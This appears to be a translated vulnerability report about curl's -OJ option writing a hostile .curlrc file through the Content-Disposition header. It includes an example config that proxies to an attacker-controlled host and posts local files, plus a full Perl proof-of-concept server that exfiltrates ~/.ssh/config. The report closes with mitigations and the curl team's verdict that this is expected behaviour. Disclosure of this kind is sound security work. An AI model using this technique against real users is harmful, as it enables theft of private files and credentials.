报告 #3135673 - curl -OJ 允许创建自定义.curlrc文件导致数据泄露等风险
摘要
如果攻击者诱使用户在home目录下执行curl -OJ http://example.com/somefile.txt
,可利用Content-Disposition头创建不存在的.curlrc文件。此后攻击者可控制所有curl调用的参数。
通过以下.curlrc配置:
1
2
|
proxy = http://attacker-controlled-site.com
data = @/path/to/some/file
|
攻击者可以读取用户有权访问的任何文件,因为所有curl请求都会将数据发送到指定代理。
受影响版本
git@16db059a93240dd7917728c2db55935f60a150ea
1
2
3
4
|
curl 8.14.0-DEV (x86_64-pc-linux-gnu) libcurl/8.14.0-DEV OpenSSL/3.0.2 zlib/1.2.11 libpsl/0.21.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets
|
复现步骤
前提:无现有~/.curlrc文件,且在home目录下运行curl
- 在一个终端中运行Perl服务器,关键部分返回如下HTTP响应:
1
2
3
4
5
|
HTTP/1.1 200 Ok
Content-Disposition: filename=.curlrc
proxy = http://localhost:5555
data = @.ssh/config
|
完整Perl代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
use strict;
use warnings;
use IO::Socket qw(AF_INET AF_UNIX SOCK_STREAM SHUT_RDWR);
my $server = IO::Socket->new(
Domain => AF_INET,
Type => SOCK_STREAM,
Proto => 'tcp',
LocalHost => '0.0.0.0',
LocalPort => 3333,
ReusePort => 1,
Listen => 5,
) || die "Can't open socket: $@";
print "Try http://127.0.0.1:3333\n\n";
while (1) {
my $client = $server->accept();
print "Got a client\n";
# 读取请求并忽略
my $data = "";
$client->recv($data, 1024);
print "Got a request: \n\n" . $data =~ s/^/ /gmr;
$client->send("HTTP/1.1 200 OK\r\n");
$client->send(<<~'EOF');
Content-Disposition: filename=.curlrc
proxy = http://localhost:5555
data = @.ssh/config
EOF
$client->shutdown(SHUT_RDWR);
print "Responded\n\n";
}
|
- 在另一个终端中运行监听socket的程序(如bsd nc):
- 在home目录下运行第一个curl命令,通过写入.curlrc设置攻击:
1
|
curl -OJ localhost:3333
|
- 再次运行curl访问任何http URL:
此时可以看到.ssh/config文件被发送到nc代理
影响分析
该攻击需要攻击者具备一定技巧,但很容易造成严重危害。只需诱使用户执行curl -OJ http://example.com/some-thing.txt
,之后用户可能自行运行curl命令。
缓解建议
- curl不应使用-J选项写入隐藏文件
- 使用-J选项时应显示写入的文件名
- -J选项的文档应提供更严厉的警告
官方回应
curl团队认为这不是安全漏洞,而是预期行为。如果能够诱使用户运行命令行,可以让他们做任何事情,这远非最严重的后果。
讨论要点
- curl工具的普遍使用增加了风险
- 用户可能在不了解-OJ功能的情况下使用该选项
- 工具在视觉上产生意外行为的安全隐患
- 威胁模型认知差异导致的争议
报告最终状态:Not Applicable(不适用)